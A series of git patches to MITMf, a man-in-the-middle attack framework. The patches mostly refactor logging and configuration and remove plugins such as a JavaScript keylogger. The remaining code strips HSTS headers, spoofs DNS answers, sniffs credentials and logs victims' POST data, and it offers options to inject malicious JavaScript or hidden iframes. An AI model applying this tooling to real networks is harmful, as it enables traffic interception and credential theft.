class Inject(CacheKill, Plugin): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") - options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') + #options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) From f99080fc4cb3821b40676cdd4aea8f263051c05f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 01:04:47 +0200 Subject: [PATCH 064/181] fixed error in Exception handling in SMBserver.py --- core/servers/smb/SMBserver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 0c7f47c..e2656e8 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -62,7 +62,7 @@ class SMBserver(ConfigWatcher): except socketerror as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort)) + shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.smb_port)) def configureLogging(self, formatter): #yes I know this looks awful, yuck From 254d0ab713e75072c53949ae05118efdaa12ec87 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 18 Jun 2015 08:53:36 +0200 Subject: [PATCH 065/181] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 91b2cae..3a5fad3 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ MITMf V0.9.7 Framework for Man-In-The-Middle attacks -Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. From 7e35d26514f20787a33663ca51cda6d79a0503c0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 19 Jun 2015 12:13:18 +0200 Subject: [PATCH 066/181] should fix bug number 2 of issue #122 --- core/sslstrip/ServerConnection.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index f751746..d88023d 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -143,7 +143,10 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) + if self.clientInfo is not None: + mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) + else: + mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) elif (key.lower() == 'content-length'): self.contentLength = value From fb0e8a37626b9dcbb424a7de5ef94eb8e67908f8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 20 Jun 2015 14:16:29 +0200 Subject: [PATCH 067/181] fixed #126 --- plugins/SMBAuth.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index e6657fc..fb7d95c 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - Inject.initialize(options) + Inject.initialize(self, options) self.html_payload = self._get_data() def _get_data(self): From ff0ada2a39ff005876d89699129640043c8712cb Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 14 Jul 2015 17:40:19 +0200 Subject: [PATCH 068/181] Revamped logging , plugins will be re-added later once refactored --- core/configwatcher.py | 56 +- plugins/SMBAuth.py => core/logger.py | 41 +- core/netcreds/NetCreds.py | 16 +- core/sergioproxy/ProxyPlugins.py | 22 +- core/servers/dns/DNSchef.py | 26 +- core/servers/smb/SMBserver.py | 15 +- core/sslstrip/ClientRequest.py | 39 +- core/sslstrip/DnsCache.py | 4 +- core/sslstrip/SSLServerConnection.py | 14 +- core/sslstrip/ServerConnection.py | 89 ++-- core/sslstrip/ServerConnectionFactory.py | 7 +- core/sslstrip/URLMonitor.py | 15 +- core/utils.py | 25 +- libs/bdfactory | 2 +- mitmf.py | 158 ++---- other_setup.sh | 0 plugins/AppCachePoison.py | 203 ------- plugins/BeefAutorun.py | 122 ----- plugins/BrowserProfiler.py | 65 --- plugins/BrowserSniper.py | 194 ------- plugins/CacheKill.py | 45 -- plugins/FerretNG.py | 105 ---- plugins/FilePwn.py | 640 ----------------------- plugins/Inject.py | 108 ++-- plugins/JsKeylogger.py | 71 --- plugins/Replace.py | 80 --- plugins/Responder.py | 128 ----- plugins/SMBTrap.py | 24 - plugins/SSLstrip+.py | 51 -- plugins/Screenshotter.py | 63 --- plugins/Spoof.py | 132 ----- plugins/Upsidedownternet.py | 69 --- plugins/__init__.py | 2 - plugins/plugin.py | 72 ++- 34 files changed, 351 insertions(+), 2352 deletions(-) rename plugins/SMBAuth.py => core/logger.py (50%) mode change 100644 => 100755 other_setup.sh delete mode 100644 plugins/AppCachePoison.py delete mode 100644 plugins/BeefAutorun.py delete mode 100644 plugins/BrowserProfiler.py delete mode 100644 plugins/BrowserSniper.py delete mode 100644 plugins/CacheKill.py delete mode 100644 plugins/FerretNG.py delete mode 100644 plugins/FilePwn.py delete mode 100644 plugins/JsKeylogger.py delete mode 100644 plugins/Replace.py delete mode 100644 plugins/Responder.py delete mode 100644 plugins/SMBTrap.py delete mode 100644 plugins/SSLstrip+.py delete mode 100644 plugins/Screenshotter.py delete mode 100644 plugins/Spoof.py delete mode 100644 plugins/Upsidedownternet.py diff --git a/core/configwatcher.py b/core/configwatcher.py index beb8061..2fde1a3 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -1,46 +1,48 @@ -#! /usr/bin/env python2.7 +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# import logging + from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class ConfigWatcher(FileSystemEventHandler): - _instance = None - config = ConfigObj("./config/mitmf.conf") + @property + def config(self): + return ConfigObj("./config/mitmf.conf") - @staticmethod - def getInstance(): - if ConfigWatcher._instance is None: - ConfigWatcher._instance = ConfigWatcher() + def on_modified(self, event): + log.debug("[{}] Detected configuration changes, reloading!".format(self.name)) + self.on_config_change() - return ConfigWatcher._instance - - def startConfigWatch(self): + def start_config_watch(self): observer = Observer() observer.schedule(self, path='./config', recursive=False) observer.start() - def getConfig(self): - return self.config - - def on_modified(self, event): - mitmf_logger.debug("[{}] Detected configuration changes, reloading!".format(self.__class__.__name__)) - self.reloadConfig() - self.onConfigChange() - - def onConfigChange(self): + def on_config_change(self): """ We can subclass this function to do stuff after the config file has been modified""" pass - - def reloadConfig(self): - try: - self.config = ConfigObj("./config/mitmf.conf") - except Exception as e: - mitmf_logger.error("Error reloading config file: {}".format(e)) - pass diff --git a/plugins/SMBAuth.py b/core/logger.py similarity index 50% rename from plugins/SMBAuth.py rename to core/logger.py index fb7d95c..f6e7b34 100644 --- a/plugins/SMBAuth.py +++ b/core/logger.py @@ -1,4 +1,5 @@ -#!/usr/bin/env python2.7 +#! /usr/bin/env python2.7 +# -*- coding: utf-8 -*- # Copyright (c) 2014-2016 Marcello Salvati # @@ -18,24 +19,28 @@ # USA # -from core.utils import SystemConfig -from plugins.plugin import Plugin -from plugins.Inject import Inject +import logging +import sys -class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" - version = "0.1" - has_opts = False - def initialize(self, options): - self.target_ip = SystemConfig.getIP(options.interface) +class logger: - Inject.initialize(self, options) - self.html_payload = self._get_data() + log_level = None + __shared_state = {} - def _get_data(self): - return ''\ - ''\ - '' % tuple([self.target_ip]*3) + def __init__(self): + self.__dict__ = self.__shared_state + + def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'): + fileHandler = logging.FileHandler(logfile) + fileHandler.setFormatter(formatter) + streamHandler = logging.StreamHandler(sys.stdout) + streamHandler.setFormatter(formatter) + + logger = logging.getLogger(name) + logger.propagate = False + logger.addHandler(streamHandler) + logger.addHandler(fileHandler) + logger.setLevel(self.log_level) + + return logger diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 451729b..36ed0a4 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -20,7 +20,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * conf.verb=0 -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') DN = open(devnull, 'w') pkt_frag_loads = OrderedDict() @@ -47,13 +47,11 @@ class NetCreds: version = "1.0" - def sniffer(self, myip, interface): - #set the filter to our ip to prevent capturing traffic coming/going from our box - sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0) - #sniff(iface=interface, prn=pkt_parser, store=0) + def sniffer(self, interface): + sniff(iface=interface, prn=pkt_parser, store=0) - def start(self, myip, interface): - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, myip,)) + def start(self, interface): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,)) t.setDaemon(True) t.start() @@ -903,7 +901,7 @@ def printer(src_ip_port, dst_ip_port, msg): print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not - mitmf_logger.info("[NetCreds] {}".format(print_str)) + log.info("[NetCreds] {}".format(print_str)) else: print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) - mitmf_logger.info("[NetCreds] {}".format(print_str)) + log.info("[NetCreds] {}".format(print_str)) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 4a8a509..e7b6199 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -21,7 +21,7 @@ import logging import inspect import traceback -mitmf_logger = logging.getLogger("mitmf") +log = logging.getLogger('mitmf') class ProxyPlugins: ''' @@ -44,11 +44,11 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", - "handleStatus": "serverResponseStatus", - "handleResponse": "serverResponse", - "handleHeader": "serverHeaders", - "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade" : "request", + "handleStatus" : "responsestatus", + "handleResponse" : "response", + "handleHeader" : "responseheaders", + "handleEndHeaders": "responseheaders"} pmthds = {} @@ -65,12 +65,12 @@ class ProxyPlugins: for p in plugins: self.addPlugin(p) - mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) + log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) def addPlugin(self,p): '''Load a plugin''' self.plist.append(p) - mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) + log.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): try: self.pmthds[mthd].append(getattr(p,pmthd)) @@ -80,7 +80,7 @@ class ProxyPlugins: def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) - mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) + log.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): self.pmthds[mthd].remove(p) @@ -105,7 +105,7 @@ class ProxyPlugins: del args['self'] - mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname)) + log.debug("[ProxyPlugins] hooking {}()".format(fname)) #calls any plugin that has this hook try: for f in self.pmthds[fname]: @@ -115,7 +115,7 @@ class ProxyPlugins: pass except Exception as e: #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) - mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") + log.error("[ProxyPlugins] Exception occurred in hooked function") traceback.print_exc() #pass our changes to the locals back down diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index 9cf829d..e99da38 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -46,11 +46,7 @@ from core.utils import shutdown from mitmflib.dnslib import * from IPy import IP -formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -dnschef_logger = logging.getLogger('dnschef') -fileHandler = logging.FileHandler("./logs/dnschef/dnschef.log") -fileHandler.setFormatter(formatter) -dnschef_logger.addHandler(fileHandler) +log = logging.getLogger('mitmf') # DNSHandler Mixin. The class contains generic functions to parse DNS requests and # calculate an appropriate response based on user parameters. @@ -70,8 +66,8 @@ class DNSHandler(): # Parse data as DNS d = DNSRecord.parse(data) - except Exception, e: - dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) + except Exception as e: + log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) else: # Only Process DNS Queries @@ -115,7 +111,7 @@ class DNSHandler(): # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) - dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -184,7 +180,7 @@ class DNSHandler(): response = response.pack() elif qtype == "*" and not None in fake_records.values(): - dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -259,7 +255,7 @@ class DNSHandler(): # Proxy the request else: - dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,13 +335,13 @@ class DNSHandler(): sock.close() except Exception, e: - dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e)) + log.warning("[DNSChef] Could not proxy request: {}".format(e)) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): - dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) @@ -435,7 +431,7 @@ class DNSChef(ConfigWatcher): return DNSChef._instance - def onConfigChange(self): + def on_config_change(self): config = self.config['MITMf']['DNS'] self.port = int(config['port']) @@ -472,8 +468,8 @@ class DNSChef(ConfigWatcher): self.hsts = True def start(self): - self.onConfigChange() - self.startConfigWatch() + self.on_config_change() + self.start_config_watch() try: if self.config['MITMf']['DNS']['tcp'].lower() == 'on': diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index e2656e8..2a44702 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -9,15 +9,16 @@ from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -#Logging is something I'm going to have to clean up in the future - class SMBserver(ConfigWatcher): - _instance = None - impacket_ver = version.VER_MINOR - server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() - smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] - smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) + _instance = None + + def __init__(self): + + self.impacket_ver = version.VER_MINOR + self.server_type = self.config["MITMf"]["SMB"]["type"].lower() + self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"] + self.smb_port = int(self.config["MITMf"]["SMB"]["port"]) @staticmethod def getInstance(): diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 8d2d30e..014cf90 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -40,7 +40,7 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class ClientRequest(Request): @@ -74,24 +74,23 @@ class ClientRequest(Request): dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - if 'if-none-match' in headers: - del headers['if-none-match'] - if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) + log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("[ClientRequest] Zapped encoding") + log.debug("[ClientRequest] Zapped encoding") + + if 'if-none-match' in headers: + del headers['if-none-match'] if 'if-modified-since' in headers: del headers['if-modified-since'] - if 'cache-control' in headers: - del headers['cache-control'] + headers['pragma'] = 'no-cache' return headers @@ -110,11 +109,11 @@ class ClientRequest(Request): if os.path.exists(scriptPath): return scriptPath - mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico") + log.warning("[ClientRequest] Error: Could not find lock.ico") return "lock.ico" def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -152,22 +151,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("[ClientRequest] Sending expired cookies") + log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response") + log.debug("[ClientRequest] Sending spoofed favicon response") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("[ClientRequest] Sending request via HTTP") + log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -176,7 +175,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[ClientRequest] Host resolution error: {}".format(error)) + log.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -186,23 +185,23 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, address)) + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: - mitmf_logger.debug("[ClientRequest] Host not cached.") + log.debug("[ClientRequest] Host not cached.") self.customResolver.port = self.urlMonitor.getResolverPort() try: - mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") + log.debug("[ClientRequest] Resolving with DNSChef") address = str(self.customResolver.query(host)[0].address) return defer.succeed(address) except Exception: - mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") + log.debug("[ClientRequest] Exception occured, falling back to Twisted") return reactor.resolve(host) def process(self): - mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: diff --git a/core/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py index 355fd12..8d77e6c 100644 --- a/core/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -18,7 +18,7 @@ import logging -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class DnsCache: @@ -51,7 +51,7 @@ class DnsCache: def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address - mitmf_logger.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) + log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) else: if self.customAddress is not None: self.cache[host] = self.customAddress diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index 4015276..6011f7e 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -23,7 +23,7 @@ import string from ServerConnection import ServerConnection from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class SSLServerConnection(ServerConnection): @@ -59,11 +59,11 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) + log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.real if dominio in real: v=" Domain=%s"%real[dominio] - mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) + log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) @@ -87,13 +87,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) - mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index d88023d..a22bea3 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -16,11 +16,11 @@ # USA # -import logging +import logging import re import string -import random -import zlib +import random +import zlib import gzip import StringIO import sys @@ -29,8 +29,10 @@ from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.logger import logger -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("ServerConnection", formatter) class ServerConnection(HTTPClient): @@ -56,7 +58,7 @@ class ServerConnection(HTTPClient): self.headers = headers self.client = client self.printPostData = True - self.clientInfo = None + self.clientInfo = {} self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().hsts self.app = URLMonitor.getInstance().app @@ -66,27 +68,18 @@ class ServerConnection(HTTPClient): self.contentLength = None self.shutdownComplete = False - def getPostPrefix(self): - return "POST" - def sendRequest(self): if self.command == 'GET': - try: - user_agent = parse(self.headers['user-agent']) - self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) - mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, self.headers['host'])) - except Exception as e: - mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) - mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host'])) - pass - - mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) + + log.info(self.headers['host'], extra=self.clientInfo) + + log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -96,17 +89,26 @@ class ServerConnection(HTTPClient): try: postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: - mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata)) + log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo) except Exception as e: if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message: - mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) - pass + log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host'])) self.printPostData = True self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("[ServerConnection] HTTP connection made.") + log.debug("[ServerConnection] HTTP connection made.") + + user_agent = parse(self.headers['user-agent']) + + self.clientInfo["clientip"] = self.client.getClientIP() + self.clientInfo["clientos"] = user_agent.os.family + self.clientInfo["browser"] = user_agent.browser.family + try: + self.clientInfo["browserv"] = user_agent.browser.version[0] + except IndexError: + self.clientInfo["browserv"] = "Other" self.plugins.hook() self.sendRequest() @@ -123,7 +125,7 @@ class ServerConnection(HTTPClient): code = values['code'] message = values['message'] - mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -135,18 +137,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[ServerConnection] Response is image content, not scanning") + log.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[ServerConnection] Response is compressed") + log.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - if self.clientInfo is not None: - mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) - else: - mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) + log.info("Zapped a strict-trasport-security header", extra=self.clientInfo) elif (key.lower() == 'content-length'): self.contentLength = value @@ -161,14 +160,17 @@ class ServerConnection(HTTPClient): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) + self.client.setHeader("Expires", "0") + self.client.setHeader("Cache-Control", "No-Cache") + if self.length == 0: self.shutdown() self.plugins.hook() - if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): if (self.isImageRequest): @@ -180,20 +182,21 @@ class ServerConnection(HTTPClient): if (self.isImageRequest): self.shutdown() else: + #Gets rid of some generic errors try: - HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + HTTPClient.handleResponseEnd(self) except: pass def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("[ServerConnection] Decompressing content...") + log.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) data = self.plugins.hook()['data'] - 